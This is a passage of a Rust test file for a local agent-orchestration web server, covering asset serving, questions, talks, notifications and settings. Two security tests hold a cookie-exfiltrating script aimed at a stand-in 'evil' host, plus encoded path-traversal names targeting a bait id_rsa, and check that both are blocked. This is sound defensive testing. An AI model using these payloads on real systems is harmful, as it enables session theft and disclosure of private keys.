7109
7110 #[tokio::test]
7111 async fn an_html_asset_is_never_served_as_html() {
7112 let fx = Fixture::start().await;
7113 let id = panel(
7114 &fx,
7115 "<p>see the notes</p>",
7116 &[
7117 (
7118 "notes.html",
7119 b"<script>fetch('http://evil/'+document.cookie)</script>",
7120 ),
7121 ("hook.js", b"fetch('http://evil/')"),
7122 ("data.json", b"{}"),
7123 ("HEADLINE.TXT", b"plain"),
7124 ],
7125 );
7126
7127 for name in ["notes.html", "hook.js", "data.json"] {
7128 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
7129 assert_eq!(res.status, 200, "{name}: {}", res.body);
7130 assert_eq!(
7135 res.header("content-type"),
7136 Some("application/octet-stream"),
7137 "{name} must not be a type the browser will execute or render"
7138 );
7139 }
7140 let txt = fx
7143 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
7144 .await;
7145 assert_eq!(
7146 txt.header("content-type"),
7147 Some("text/plain; charset=utf-8")
7148 );
7149 }
7150
7151 #[tokio::test]
7152 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
7153 let fx = Fixture::start().await;
7154 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7155 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
7159
7160 for encoded in [
7167 "%2e%2e%2fid_rsa",
7168 "..%2fid_rsa",
7169 "..%5cid_rsa",
7170 "%2e%2e%5cid_rsa",
7171 "diff%00.svg",
7172 "..",
7173 ".hidden",
7174 "%2e%2e%2f%2e%2e%2fid_rsa",
7175 ] {
7176 let res = fx
7177 .get(&format!("/api/questions/{id}/asset/{encoded}"))
7178 .await;
7179 assert_eq!(
7180 res.status, 400,
7181 "`{encoded}` has to be refused by name, not looked up: {}",
7182 res.body
7183 );
7184 assert!(res.json()["error"].is_string(), "{}", res.body);
7185 }
7186
7187 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
7193 let res = fx
7194 .get(&format!("/api/questions/{id}/asset/{literal}"))
7195 .await;
7196 assert_eq!(
7197 res.status, 404,
7198 "`{literal}` must not match the asset route at all: {}",
7199 res.body
7200 );
7201 }
7202 }
7203
7204 #[tokio::test]
7205 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
7206 let fx = Fixture::start().await;
7207 let plain = ask(&fx, "Which backend?", &["SQLite"]);
7208 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
7209
7210 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
7214 assert_eq!(none.status, 404, "{}", none.body);
7215 assert!(none.json()["error"].is_string(), "{}", none.body);
7216 assert_eq!(
7217 fx.head(&format!("/api/questions/{plain}/panel"))
7218 .await
7219 .status,
7220 404,
7221 "the preflight is the only way the client can learn this"
7222 );
7223
7224 let missing = fx
7226 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
7227 .await;
7228 assert_eq!(missing.status, 404, "{}", missing.body);
7229 assert!(missing.json()["error"].is_string(), "{}", missing.body);
7230
7231 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
7233 assert_eq!(
7234 fx.get("/api/questions/nope/asset/diff.svg").await.status,
7235 404
7236 );
7237 }
7238
7239 #[tokio::test]
7240 async fn a_run_with_an_open_question_reads_as_waiting() {
7241 let fx = Fixture::start().await;
7242 let run = "20260902-000000-beef".to_owned();
7243 write_run(&fx.runs(), &run, RunStatus::Implementing);
7244
7245 let before = fx.get("/api/runs").await.json();
7246 assert_eq!(before[0]["waiting"], false, "{before}");
7247
7248 let store = fx.questions();
7249 let mut q = Question::new(
7250 run.clone(),
7251 "implement".to_owned(),
7252 "impl-A".to_owned(),
7253 "Which backend?".to_owned(),
7254 String::new(),
7255 vec!["SQLite".to_owned()],
7256 );
7257 store.put(&mut q).expect("put");
7258
7259 let during = fx.get("/api/runs").await.json();
7260 assert_eq!(during[0]["waiting"], true, "{during}");
7261
7262 q.answer(Answer::Choice("SQLite".to_owned()))
7265 .expect("answer");
7266 store.put(&mut q).expect("put");
7267 let after = fx.get("/api/runs").await.json();
7268 assert_eq!(after[0]["waiting"], false, "{after}");
7269 }
7270
7271 #[tokio::test]
7272 async fn an_open_question_is_listed_and_counted_by_health() {
7273 let fx = Fixture::start().await;
7274 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7275
7276 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7277 let listed = fx.get("/api/questions").await.json();
7278 assert_eq!(listed.as_array().expect("array").len(), 1);
7279 assert_eq!(listed[0]["id"], id);
7280 assert_eq!(listed[0]["status"], "open");
7281 assert_eq!(listed[0]["choices"][1], "Redis");
7282 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7285 }
7286
7287 #[tokio::test]
7288 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
7289 let fx = Fixture::start().await;
7290 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7291 let path = format!("/api/questions/{id}/answer");
7292
7293 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
7294 assert_eq!(res.status, 200, "{}", res.body);
7295 let body = res.json();
7296 assert_eq!(body["status"], "answered");
7297 assert_eq!(body["answer"]["choice"], "Redis");
7298
7299 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
7303 assert_eq!(again.status, 409, "{}", again.body);
7304 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
7305 }
7306
7307 #[tokio::test]
7308 async fn saying_something_appends_a_turn_without_answering() {
7309 let fx = Fixture::start().await;
7310 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7311 let path = format!("/api/questions/{id}/say");
7312
7313 let res = fx
7314 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
7315 .await;
7316 assert_eq!(res.status, 200, "{}", res.body);
7317 let body = res.json();
7318 assert_eq!(body["status"], "open", "talking back is not a decision");
7319 assert_eq!(body["answer"], Value::Null);
7320 assert_eq!(body["thread"][0]["who"], "operator");
7321 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
7322 assert_eq!(body["waiting_on_agent"], true);
7323 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7325 }
7326
7327 #[tokio::test]
7328 async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
7329 let fx = Fixture::start().await;
7330 let store = fx.questions();
7331 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7332 assert_eq!(
7333 fx.get("/api/health").await.json()["questions_needs_owner"],
7334 1
7335 );
7336
7337 let res = fx
7343 .post(
7344 &format!("/api/questions/{id}/say"),
7345 Some(r#"{"body":"why not Postgres?"}"#),
7346 )
7347 .await;
7348 assert_eq!(res.status, 200, "{}", res.body);
7349 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7350 assert_eq!(
7351 fx.get("/api/health").await.json()["questions_needs_owner"],
7352 0,
7353 "waiting on the agent is not waiting on the owner"
7354 );
7355
7356 let mut q = store.get(&id).expect("get");
7360 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
7361 .expect("reply");
7362 store.put(&mut q).expect("put");
7363 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7364 assert_eq!(
7365 fx.get("/api/health").await.json()["questions_needs_owner"],
7366 1,
7367 "the agent's reply is what should light the banner back up"
7368 );
7369 }
7370
7371 #[tokio::test]
7372 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
7373 let fx = Fixture::start().await;
7374 let store = fx.questions();
7375
7376 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7377 let res = fx
7378 .post(
7379 &format!("/api/questions/{empty_id}/say"),
7380 Some(r#"{"body":" "}"#),
7381 )
7382 .await;
7383 assert_eq!(res.status, 400, "{}", res.body);
7384
7385 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7386 let mut answered = store.get(&answered_id).expect("get");
7387 answered
7388 .answer(Answer::Choice("SQLite".to_owned()))
7389 .expect("answer");
7390 store.put(&mut answered).expect("put");
7391 let res = fx
7392 .post(
7393 &format!("/api/questions/{answered_id}/say"),
7394 Some(r#"{"body":"still there?"}"#),
7395 )
7396 .await;
7397 assert_eq!(res.status, 409, "{}", res.body);
7398
7399 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7400 let mut abandoned = store.get(&abandoned_id).expect("get");
7401 abandoned.abandon("timed out");
7402 store.put(&mut abandoned).expect("put");
7403 let res = fx
7404 .post(
7405 &format!("/api/questions/{abandoned_id}/say"),
7406 Some(r#"{"body":"still there?"}"#),
7407 )
7408 .await;
7409 assert_eq!(res.status, 409, "{}", res.body);
7410 }
7411
7412 #[tokio::test]
7413 async fn an_answer_the_question_does_not_offer_is_refused() {
7414 let fx = Fixture::start().await;
7415 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
7416 let path = format!("/api/questions/{id}/answer");
7417
7418 for body in [
7419 r#"{"choice":"Postgres"}"#,
7420 r#"{"text":"whatever you think"}"#,
7421 r#"{"choice":"Redis","text":"both"}"#,
7422 r#"{}"#,
7423 ] {
7424 let res = fx.post(&path, Some(body)).await;
7425 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
7426 assert!(res.json()["error"].is_string(), "{}", res.body);
7427 }
7428 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
7430 }
7431
7432 #[tokio::test]
7433 async fn a_free_text_question_takes_text_and_not_a_choice() {
7434 let fx = Fixture::start().await;
7435 let id = ask(&fx, "What should the flag be called?", &[]);
7436 let path = format!("/api/questions/{id}/answer");
7437
7438 assert_eq!(
7439 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
7440 400
7441 );
7442 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
7443 assert_eq!(res.status, 200, "{}", res.body);
7444 assert_eq!(res.json()["answer"]["text"], "--json");
7445 }
7446
7447 #[tokio::test]
7448 async fn an_unknown_question_is_a_json_404() {
7449 let fx = Fixture::start().await;
7450 let res = fx
7451 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
7452 .await;
7453 assert_eq!(res.status, 404, "{}", res.body);
7454 assert!(res.json()["error"].is_string());
7455 }
7456
7457 #[tokio::test]
7458 async fn notifications_list_read_dismiss_and_health_agree() {
7459 let fx = Fixture::start().await;
7460 let store = Notices::at(fx.home.path().join("notifications"));
7461 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
7462 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
7463
7464 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
7465 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
7466
7467 let health = fx.get("/api/health").await.json();
7468 assert_eq!(health["notifications_unread"], 2);
7469 assert_ne!(
7470 health["notifications_rev"], rev0,
7471 "the badge must move live"
7472 );
7473
7474 let listed = fx.get("/api/notifications").await.json();
7475 assert_eq!(listed["unread"], 2);
7476 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
7477 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
7478
7479 let read = fx
7480 .post(&format!("/api/notifications/{}/read", a.id), None)
7481 .await;
7482 assert_eq!(read.status, 200, "{}", read.body);
7483 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
7484
7485 let gone = fx
7486 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
7487 .await;
7488 assert_eq!(gone.status, 200, "{}", gone.body);
7489 let listed = fx.get("/api/notifications").await.json();
7490 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
7491 assert_eq!(listed["unread"], 0);
7492
7493 store.raise(Notice::info("x", "again")).unwrap();
7494 let all = fx.post("/api/notifications/read-all", None).await;
7495 assert_eq!(all.status, 200, "{}", all.body);
7496 assert_eq!(all.json()["marked"], 1);
7497 assert_eq!(
7498 fx.get("/api/health").await.json()["notifications_unread"],
7499 0
7500 );
7501
7502 let missing = fx.post("/api/notifications/nope/read", None).await;
7503 assert_eq!(missing.status, 404, "{}", missing.body);
7504 assert!(missing.json()["error"].is_string());
7505 }
7506
7507 #[tokio::test]
7514 async fn a_task_cannot_be_filed_over_the_phone_directly() {
7515 let f = Fixture::start().await;
7516
7517 let res = f
7518 .post(
7519 "/api/queue",
7520 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
7521 )
7522 .await;
7523
7524 assert_eq!(
7525 res.status, 405,
7526 "POST /api/queue must not be a route: {}",
7527 res.body
7528 );
7529 assert!(
7530 f.queue().list().is_empty(),
7531 "a task filed by a route that does not exist must not reach the disk"
7532 );
7533 assert_eq!(f.get("/api/queue").await.status, 200);
7536 }
7537
7538 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
7540 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
7541 .expect("checkout dir");
7542 }
7543
7544 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
7546
7547 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
7548 let tmp = TempDir::new().expect("tempdir");
7549 let repo = tmp.path().join("repo");
7550 std::fs::create_dir_all(&repo).expect("repo dir");
7551 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
7552 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
7553 if let Some(text) = machine_toml {
7554 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
7555 std::fs::write(&machine, text).expect("machine toml");
7556 }
7557 (tmp, repo, machine)
7558 }
7559
7560 #[tokio::test]
7561 async fn settings_get_reports_sources_and_the_advisors_fallback() {
7562 let (_tmp, repo, machine) =
7563 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
7564 let f = Fixture::with_repo_and_machine(repo, machine).await;
7565 let res = f.get("/api/settings").await;
7566 assert_eq!(res.status, 200, "{}", res.body);
7567 let v = res.json();
7568 assert!(v["error"].is_null(), "{v}");
7569 let role = |k: &str| {
7570 v["roles"]
7571 .as_array()
7572 .and_then(|r| r.iter().find(|x| x["key"] == k))
7573 .cloned()
7574 .unwrap_or_else(|| panic!("no role {k}: {v}"))
7575 };
7576 assert_eq!(role("judges")["source"], "machine");
7577 assert_eq!(role("judges")["editable"], true);
7578 assert_eq!(role("implementers")["source"], "default");
7579 let adv = role("advisors");
7580 assert_eq!(adv["fallback"], "judges");
7581 assert!(
7582 adv["seats"]
7583 .as_array()
7584 .is_some_and(|s| s.iter().all(|x| x == "b")),
7585 "{adv}"
7586 );
7587 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
7588 assert_eq!(v["agents"][0]["source"], "repo");
7589 }
7590
7591 #[tokio::test]
7592 async fn settings_get_reports_a_config_that_does_not_parse() {
7593 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
7594 let f = Fixture::with_repo_and_machine(repo, machine).await;
7595 let res = f.get("/api/settings").await;
7596 assert_eq!(res.status, 200, "{}", res.body);
7597 let v = res.json();
7598 assert!(v["error"]["message"].is_string(), "{v}");
7599 assert!(
7600 v["error"]["path"]
7601 .as_str()
7602 .is_some_and(|p| p.ends_with("magi.toml")),
7603 "{v}"
7604 );
7605 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
7606 }
7607
7608 #[tokio::test]
7609 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
7610 let (_tmp, repo, machine) = settings_dirs(
7611 SETTINGS_AGENTS,
7612 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
7613 );
7614 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
7615 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
7616 let rev = f.get("/api/settings").await.json()["revision"]
7617 .as_str()
7618 .expect("revision")
7619 .to_owned();
7620 let body = serde_json::json!({
7621 "revision": rev,
7622 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
7623 })
7624 .to_string();
7625 let res = f.put("/api/settings/roles", &body).await;
7626 assert_eq!(res.status, 200, "{}", res.body);
7627 let text = std::fs::read_to_string(&machine).expect("machine");
7628 assert_eq!(
7629 text,
7630 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
7631 );
7632 assert_eq!(
7633 std::fs::read(repo.join("magi.toml")).expect("read"),
7634 repo_before
7635 );
7636 let again = f.get("/api/settings").await.json();
7637 let judges = again["roles"]
7638 .as_array()
7639 .expect("roles")
7640 .iter()
7641 .find(|r| r["key"] == "judges")
7642 .expect("judges")
7643 .clone();
7644 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
7645 let stale = f.put("/api/settings/roles", &body).await;
7647 assert_eq!(stale.status, 409, "{}", stale.body);
7648 }
7649
7650 #[tokio::test]
7651 async fn settings_put_refuses_without_touching_the_file() {
7652 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
7653 let (_tmp, repo, machine) = settings_dirs(
7654 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
7655 Some(machine_text),
7656 );
7657 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
7658 let rev = f.get("/api/settings").await.json()["revision"]
7659 .as_str()
7660 .expect("revision")
7661 .to_owned();
7662 for roles in [
7663 serde_json::json!({ "judges": ["nope"] }),
7664 serde_json::json!({ "reviewers": ["b"] }),
7665 serde_json::json!({ "bogus": ["a"] }),
7666 ] {
7667 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
7668 let res = f.put("/api/settings/roles", &body).await;
7669 assert_eq!(res.status, 422, "{roles}: {}", res.body);
7670 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
7671 assert_eq!(
7672 std::fs::read_to_string(&machine).expect("machine"),
7673 machine_text
7674 );
7675 }
7676 }
7677
7678 #[tokio::test]
7679 async fn repos_list_returns_name_and_path_for_every_configured_root() {
7680 let tmp = TempDir::new().expect("tempdir");
7681 let repo = tmp.path().join("repo");
7682 std::fs::create_dir_all(&repo).expect("repo dir");
7683 let root = tmp.path().join("root");
7684 make_checkout(&root, "github.com", "yukimemi", "magi");
7685 std::fs::write(
7686 repo.join("magi.toml"),
7687 format!(
7688 "[repos]\nroots = [{:?}]\n",
7689 root.to_string_lossy().into_owned()
7690 ),
7691 )
7692 .expect("write magi.toml");
7693
7694 let f = Fixture::with_repo(repo).await;
7695 let res = f.get("/api/repos").await;
7696 assert_eq!(res.status, 200, "{}", res.body);
7697 let list = res.json();
7698 let repos = list.as_array().expect("an array");
7699 assert_eq!(repos.len(), 1);
7700 assert_eq!(repos[0]["name"], "yukimemi/magi");
7701 assert!(
7702 repos[0]["path"]
7703 .as_str()
7704 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
7705 "{list}"
7706 );
7707 }
7708
7709 #[tokio::test]
7710 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
7711 let tmp = TempDir::new().expect("tempdir");
7712 let repo = tmp.path().join("repo");
7713 std::fs::create_dir_all(&repo).expect("repo dir");
7714 let root = tmp.path().join("root");
7715 make_checkout(&root, "github.com", "yukimemi", "magi");
7716 std::fs::write(
7717 repo.join("magi.toml"),
7718 format!(
7719 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
7720 root.to_string_lossy().into_owned()
7721 ),
7722 )
7723 .expect("write magi.toml");
7724
7725 let f = Fixture::with_repo(repo).await;
7726 let first = f.get("/api/repos").await;
7727 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
7728
7729 make_checkout(&root, "github.com", "yukimemi", "rvpm");
7732 let second = f.get("/api/repos").await;
7733 assert_eq!(
7734 second.json().as_array().map(Vec::len),
7735 Some(1),
7736 "a fresh cache must not rescan inside the TTL"
7737 );
7738
7739 let refreshed = f.get("/api/repos?refresh=1").await;
7740 assert_eq!(
7741 refreshed.json().as_array().map(Vec::len),
7742 Some(2),
7743 "an explicit refresh must rescan even inside the TTL"
7744 );
7745 }
7746
7747 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
7753
7754 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
7758 let tmp = TempDir::new().expect("tempdir");
7759 let repo = tmp.path().join("repo");
7760 std::fs::create_dir_all(&repo).expect("repo dir");
7761 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7762 let f = Fixture::with_repo(repo.clone()).await;
7763 (tmp, repo, f)
7764 }
7765
7766 #[tokio::test]
7767 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
7768 let (_tmp, _repo, f) = talk_fixture().await;
7769
7770 let opened = f.post("/api/talks", None).await;
7773 assert_eq!(opened.status, 201, "{}", opened.body);
7774 let body = opened.json();
7775 assert_eq!(body["status"], "open");
7776 assert_eq!(
7777 body["turns"].as_array().unwrap().len(),
7778 0,
7779 "opening takes no agent turn: there is nothing yet to answer"
7780 );
7781
7782 let also_opened = f.post("/api/talks", Some("{}")).await;
7784 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
7785
7786 let listed = f.get("/api/talks").await.json();
7787 assert_eq!(listed.as_array().unwrap().len(), 2);
7788 }
7789
7790 #[tokio::test]
7791 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
7792 let tmp = TempDir::new().expect("tempdir");
7793 let repo = tmp.path().join("repo");
7794 std::fs::create_dir_all(&repo).expect("repo dir");
7795 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
7796 std::fs::write(
7797 repo.join("magi.toml"),
7798 format!("{MOCK_AGENT_TOML}\n{second}"),
7799 )
7800 .expect("write magi.toml");
7801 let home = TempDir::new().expect("temp home");
7802 let talks = Talks::at(home.path().join("talks"));
7803 let ui = Arc::new(
7804 Ui::new(
7805 Queue::at(home.path().join("queue")),
7806 Questions::at(home.path().join("questions")),
7807 talks.clone(),
7808 home.path().join("runs"),
7809 home.path().to_path_buf(),
7810 repo.clone(),
7811 )
7812 .with_worktrees_root(home.path().join("wt")),
7813 );
7814 let cfg = config_for(&repo).await.expect("discover config");
7815 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
7816 let id = talk.id.clone();
7817 let call = |agent: &str| {
7818 talk_agent(
7819 State(Arc::clone(&ui)),
7820 Path(id.clone()),
7821 Json(TalkAgent {
7822 agent: agent.to_owned(),
7823 }),
7824 )
7825 };
7826
7827 let unknown = call("nobody").await.expect_err("unknown agent");
7828 assert_eq!(
7829 unknown.status,
7830 StatusCode::BAD_REQUEST,
7831 "{}",
7832 unknown.message
7833 );
7834
7835 {
7836 let mut claimed = None;
7839 for _ in 0..200 {
7840 claimed = ui.begin_talk_turn(&id).expect("claim");
7841 if claimed.is_some() {
7842 break;
7843 }
7844 tokio::time::sleep(Duration::from_millis(10)).await;
7845 }
7846 let _busy = claimed.expect("free");
7847 let busy = call("second").await.expect_err("busy talk");
7848 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
7849 }
7850 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
7851
7852 let Json(view) = call("second").await.expect("switch");
7853 assert_eq!(view.talk.agent, "second");
7854 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
7855 let saved = talks.get(&id).expect("reload");
7856 assert_eq!(saved.agent, "second");
7857 assert_eq!(saved.turns.len(), 1);
7858
7859 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
7860 .await
7861 .expect("detail");
7862 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
7863 assert_eq!(roster, ["mock", "second"]);
7864
7865 let mut closed = talks.get(&id).expect("reload");
7866 talk::close(&mut closed, &talks).expect("close");
7867 let refused = call("mock").await.expect_err("closed talk");
7868 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
7869 }
7870
7871 #[tokio::test]
7872 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
7873 let f = Fixture::start().await;
7874 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
7875 let queue = f.queue();
7876 let mut mine = Task::new(
7877 "rename the loader".to_owned(),
7878 "rename the loader".to_owned(),
7879 PathBuf::from("/repo/magi"),
7880 Source::Agent {
7881 run: talk_id.clone(),
7882 node: "chat".to_owned(),
7883 },
7884 );
7885 queue.put(&mut mine).expect("file the task");
7886 let mut theirs = Task::new(
7887 "unrelated".to_owned(),
7888 "unrelated".to_owned(),
7889 PathBuf::from("/repo/magi"),
7890 Source::Human,
7891 );
7892 queue.put(&mut theirs).expect("file the task");
7893
7894 let res = f.get(&format!("/api/talks/{talk_id}")).await;
7895 assert_eq!(res.status, 200, "{}", res.body);
7896 let body = res.json();
7897 assert_eq!(
7898 body["status"], "open",
7899 "filing a task does not close a talk"
7900 );
7901 let tasks = body["tasks"].as_array().expect("tasks array");
7902 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
7903 assert_eq!(tasks[0]["id"], mine.id);
7904 }
7905
7906 #[tokio::test]
7907 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
7908 let (_tmp, _repo, f) = talk_fixture().await;
7909 let id = f.post("/api/talks", None).await.json()["id"]
7910 .as_str()
7911 .expect("id")
7912 .to_owned();
7913
7914 let res = f
7915 .post(
7916 &format!("/api/talks/{id}/say"),
7917 Some(r#"{"text":"what does the queue module do?"}"#),
7918 )
7919 .await;
7920 assert_eq!(res.status, 202, "{}", res.body);
7921 let queued = res.json();
7922 let turns = queued["turns"].as_array().expect("turns array");
7923 assert_eq!(
7924 turns.len(),
7925 1,
7926 "the answer reflects only what is on disk the instant it is sent, \
7927 before the agent's turn - which can run for the whole of \
7928 `[graph] timeout_talk` - has a chance to land: {queued}"
7929 );
7930 assert_eq!(turns[0]["who"], "operator");
7931 assert_eq!(turns[0]["body"], "what does the queue module do?");
7932 assert_eq!(
7933 queued["thinking"], true,
7934 "the accepted response exposes the background turn claim: {queued}"
7935 );
7936
7937 let mut turns_after = 1;
7938 for _ in 0..SETTLE_STEPS {
7939 let detail = f.get(&format!("/api/talks/{id}")).await.json();
7940 turns_after = detail["turns"].as_array().expect("turns array").len();
7941 if turns_after == 2 {
7942 break;
7943 }
7944 tokio::time::sleep(Duration::from_millis(10)).await;
7945 }
7946 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
7947 }
7948
7949 #[tokio::test]
7976 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
7977 let tmp = TempDir::new().expect("tempdir");
7978 let repo = tmp.path().join("repo");
7979 std::fs::create_dir_all(&repo).expect("repo dir");
7980 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
7981 let home = TempDir::new().expect("temp home");
7982 let talks = Talks::at(home.path().join("talks"));
7983 let ui = Arc::new(
7984 Ui::new(
7985 Queue::at(home.path().join("queue")),
7986 Questions::at(home.path().join("questions")),
7987 talks.clone(),
7988 home.path().join("runs"),
7989 home.path().to_path_buf(),
7990 repo.clone(),
7991 )
7992 .with_worktrees_root(home.path().join("wt")),
7993 );
7994 let cfg = config_for(&repo).await.expect("discover config");
7995
7996 for delay in 0..40u32 {
7997 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
7998 let id = talk.id.clone();
7999
8000 let handler = tokio::spawn(talk_say(
8001 State(Arc::clone(&ui)),
8002 Path(id.clone()),
8003 Ok(Json(NewTalkTurn {
8004 text: "what does the queue module do?".to_owned(),
8005 attachments: Vec::new(),
8006 })),
8007 ));
8008 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8009 handler.abort();
8010 let _ = handler.await;
8013
8014 let mut turns = 0;
8015 for _ in 0..SETTLE_STEPS {
8016 if let Ok(fresh) = talks.get(&id) {
8017 turns = fresh.turns.len();
8018 if turns != 1 {
8019 break;
8020 }
8021 }
8022 tokio::time::sleep(Duration::from_millis(10)).await;
8023 }
8024 assert_ne!(
8025 turns, 1,
8026 "delay {delay}: talk {id} recorded the operator's turn but \
8027 the agent never answered - the reply task was never \
8028 started after the handler future was dropped"
8029 );
8030 }
8031 }
8032
8033 #[tokio::test]
8078 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8079 let tmp = TempDir::new().expect("tempdir");
8080 let repo = tmp.path().join("repo");
8081 std::fs::create_dir_all(&repo).expect("repo dir");
8082 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8083 let home = TempDir::new().expect("temp home");
8084 let talks = Talks::at(home.path().join("talks"));
8085 let ui = Arc::new(
8086 Ui::new(
8087 Queue::at(home.path().join("queue")),
8088 Questions::at(home.path().join("questions")),
8089 talks.clone(),
8090 home.path().join("runs"),
8091 home.path().to_path_buf(),
8092 repo.clone(),
8093 )
8094 .with_worktrees_root(home.path().join("wt")),
8095 );
8096 let cfg = config_for(&repo).await.expect("discover config");
8097
8098 for attempt in 0..3u32 {
8099 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8100 let id = talk.id.clone();
8101 let turn_guard = ui
8104 .begin_talk_turn(&id)
8105 .expect("claim the turn")
8106 .expect("a fresh talk owes nobody a turn");
8107
8108 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8109 let (release_tx, release_rx) = std::sync::mpsc::channel();
8110 ui.set_busy_queue_gate(BusyQueueGate {
8111 reached: reached_tx,
8112 release: release_rx,
8113 });
8114
8115 let handler = tokio::spawn(talk_say(
8116 State(Arc::clone(&ui)),
